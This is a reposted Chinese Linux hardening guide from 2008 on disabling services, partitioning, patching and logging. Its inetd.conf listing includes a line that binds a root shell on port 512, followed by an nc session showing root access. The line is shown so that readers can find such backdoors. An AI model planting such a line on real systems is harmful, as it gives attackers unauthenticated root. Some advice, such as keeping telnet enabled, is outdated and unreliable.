分享
 
 
 

linux安全攻略

王朝system·作者佚名  2008-05-19
窄屏简体版  字體: |||超大  

这篇文章的目的在于让读者对linux的安全配置有个大概的了解,呵呵,因为我也看过一些关于这方面的文章,说的太空了,呵呵其实我觉得linux机器要做一般的安全配置的话,分分钟就搞定了,嘿嘿

1,安装

安装的时候,大家都轻车熟路了,呵呵,首先,隔离网络进行系统安装,当然选择custom方式,安装你需要的软件包。

硬盘分区:如果用root分区纪录数据,如log文件和email,就可能因为拒绝服务产生大量日志或垃圾邮件。导致系统崩溃。所以建议为/var开辟单独的分区,用来存放日志和邮件,以避免root分区被溢出啦,那就惨喽。最好为特殊的应用程序单独开一个分区,特别是可以产生大量日志的程序,还有建议为/home单独分一个区,这样他们就不能填满/分区了,以下是我硬盘上的分区情况:

/

root

/var

log

/hacking

嘻嘻,我的一些黑软

swap

不多说了

/home

当系统安装完重新启动后,最好打上相应系统的安全补丁,请大家养成良好的习惯,记住,你不是在自己家里装98,你装的是一个linux服务器,呵呵。对于redhat系统而言可以在:http://www.redhat.com/corp/support/errata/找到补丁。

在redhat6.1以后的版本带有一个工具up2date,它能够测定哪些rpm包需要升级,然后自动从redhat的站点下载并完成安装。

2,关闭服务

呵呵,有句话说的好,要想你的系统绝对安全,就是掐断网线,呵呵,当然我们的机器要对外提供服务,那是不现实的,所以关闭不必要的服务是必要的,因为有些服务会为您的系统带来麻烦。

默认的linux就是一个强大的系统,运行了很多的服务。但,有许多服务是不需要的,很容易引起安全风险。第一个文件是/etc/inetd.conf,它制定了/usr/sbin/inetd将要监听的服务,你可能只需要其中的两个:telnet和ftp,其他的许多如popd,imapd和rsh都是有可能引发安全问题的。用下面的命令显示没有被注释掉的服务:

suneagle# grep -v "#" /etc/inetd.conf

ftp

stream tcp

nowait

root

/usr/sbin/tcpd

in.ftpd -l -a

telnet

stream

tcp

nowait root

/usr/sbin/tcpd

in.telnetd

shell

stream

tcp

nowait

root

/usr/sbin/tcpd in.rshd

login

stream

tcp

nowait

root

/usr/sbin/tcpd in.rlogind

talk

dgram

udp

wait

nobody.tty

/usr/sbin/tcpd in.talkd

ntalk

dgram

udp

wait

nobody.tty

/usr/sbin/tcpd

in.ntalkd

pop-3

stream

tcp

nowait

root

/usr/sbin/tcpd

ipop3d

imap

stream

tcp

nowait

root

/usr/sbin/tcpd

imapd

finger

stream

tcp

nowait nobody

/usr/sbin/tcpd

in.fingerd

linuxconf stream tcp wait root /bin/linuxconf linuxconf --http

exec

stream

tcp

nowait

root

/bin/sh sh -i

哈哈,大家看最后一行,不就被绑了个rootshell么?呵呵,有什么后果?呵呵看看,在远程的一台win2000机器上用如下命令:

E:\cmdnc 192.0.0.88 512

bash# id

id

uid=0(root) gid=0(root) groups=0(root)

bash#

知道了吧?嘿嘿,大家注意哦*^_^*

我有写过一篇关于用这个文件绑后门的文章,呵呵,攻击性很强,这个命令可以帮你查出有没有后门,呵呵。

下个要启动的是.rc脚本,它们决定了init进程要启动哪些服务。redhat系统下,这些脚本在/etc/rc.d/rc3.d(如果你的系统以x为默认启动的话,就是/etc/rc.d/rc5.d)。要在启动时禁止某个服务,只需要把大写的S替换为小写的s,同时,redhat也提供一个工具来帮助你关闭服务,输入/usr/sbin/setup,然后选择"system services",就可以定制系统启动时跑哪些服务。另外一个选择是chkconfig命令,很多linux版本的系

统都自带这个工具。脚本名字中的数字是启动的顺序,以大写的K开头的是杀死进程用的。以下是一些主要的服务:

S05apmd

笔记本需要

S10xntpd

网络时间协议

S11portmap

运行rpc服务必需

S15sound

声卡相关

S15netfs

nfs客户端

S20rstatd

避免运行r服务,远程用户可以从中获取很多信息

S20rusersd

S20rwhod

S20rwalld

S20bootparamd 无盘工作站

S25squid

代理服务

S34yppasswdd

NIS服务器,此服务漏洞很多

S35ypserv

NIS服务器,此服务漏洞很多

S35dhcpd

dhcp服务

S40atd

和cron很相似的定时运行程序的服务

S45pcmcia

pcmcia卡,笔记本

S50snmpd

SNMP,远程用户能从中获得许多系统信息

S55named

DNS服务

S55routed

RIP,没有必要就别运行它

S60lpd

打印服务

S60mars-nwe

Netware的文件和打印服务

S60nfs

NFS服务器,漏洞极多

S72amd

automount,mount远程用的

S75gated

另外一种路由服务,例如OSPF

S80sendmail

邮件服务,如关闭,仍然可以发信,只是不能收信和作中继

S85httpd

web服务器

S87ypbind

NIS客户端

S90xfs

X font服务器

S95innd

News服务器

Slinuxconf

这个都熟悉吧,呵呵,通过浏览器远程管理系统用的

用这个命令察看在关闭启动脚本之前有多少服务在运行:

suneagle# ps -eaf|wc -l

54

我的系统有54种服务在运行呢,当你关闭一些服务以后,重新运行以上命令看看少了多少服务。运行的服务越少,系统自然越安全了,嘿嘿。用下面命令察看哪些服务在运行:

suneagle# netstat -na --ip

Active Internet connections (servers and established)

Proto Recv-Q Send-Q Local Address

Foreign Address

State

tcp

0

136 192.0.0.88:23

192.0.0.5:1236

ESTABLISHED

tcp

0

0 192.0.0.88:23

192.0.0.8:1113

ESTABLISHED

tcp

0

0 192.0.0.88:139

192.0.0.8:1112

ESTABLISHED

tcp

0

0 192.0.0.88:1024

61.153.17.24:23

ESTABLISHED

tcp

0

0 192.0.0.88:23

192.0.0.8:1084

ESTABLISHED

tcp

0

0 0.0.0.0:139

0.0.0.0:*

LISTEN

tcp

0

0 0.0.0.0:80

0.0.0.0:*

LISTEN

tcp

0

0 0.0.0.0:25

0.0.0.0:*

LISTEN

tcp

0

0 0.0.0.0:515

0.0.0.0:*

LISTEN

tcp

0

0 0.0.0.0:512

0.0.0.0:*

LISTEN

tcp

0

0 0.0.0.0:98

0.0.0.0:*

LISTEN

tcp

0

0 0.0.0.0:79

0.0.0.0:*

LISTEN

tcp

0

0 0.0.0.0:143

0.0.0.0:*

LISTEN

tcp

0

0 0.0.0.0:110

0.0.0.0:*

LISTEN

tcp

0

0 0.0.0.0:513

0.0.0.0:*

LISTEN

tcp

0

0 0.0.0.0:514

0.0.0.0:*

LISTEN

tcp

0

0 0.0.0.0:23

0.0.0.0:*

LISTEN

tcp

0

0 0.0.0.0:21

0.0.0.0:*

LISTEN

tcp

0

0 0.0.0.0:113

0.0.0.0:*

LISTEN

tcp

0

0 0.0.0.0:111

0.0.0.0:*

LISTEN

udp

0

0 127.0.0.1:1024

0.0.0.0:*

udp

0

0 192.0.0.88:138

0.0.0.0:*

udp

0

0 192.0.0.88:137

0.0.0.0:*

udp

0

0 0.0.0.0:138

0.0.0.0:*

udp

0

0 0.0.0.0:137

0.0.0.0:*

udp

0

0 0.0.0.0:518

0.0.0.0:*

udp

0

0 0.0.0.0:517

0.0.0.0:*

udp

0

0 0.0.0.0:111

0.0.0.0:*

raw

0

0 0.0.0.0:1

0.0.0.0:*

7

raw

0

0 0.0.0.0:6

0.0.0.0:*

7

呵呵,我这个系统由于测试用,所以故意开了不少危险端口,呵呵,大家别学我哦,该关的就关啦,哈哈。

3,日志纪录和增强

关闭一些不必要的服务以后,日志也是需要我们关心的一块,配置好的unix系统日志非常强大,甚至可以做出陷阱,关于日志,我可以写长篇大论,这里就不很详细讲述日志的原理了,感兴趣的朋友可以参考相关资料或阅读我的另一篇文章《solaris系统日志原理》。好!所有的日志都在/var/log下(仅对linux系统而言),默认情况下linux的日志就很强大了,除了ftp。但我们可以通过修改/etc/ftpaccess或者/etc/inetd.conf,来保证每一个ftp连接日志都能够纪录下来。下面是一个修改inetd.conf的例子:

ftp

stream

tcp

nowait

root

/usr/sbin/tcpd

in.ftpd -l -L -i -o

-l

每一个ftp连接都写到syslog

-L

纪录用户的每一个命令

-i

文件received,纪录到xferlog

-o

文件transmitted,记录到xferlog

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有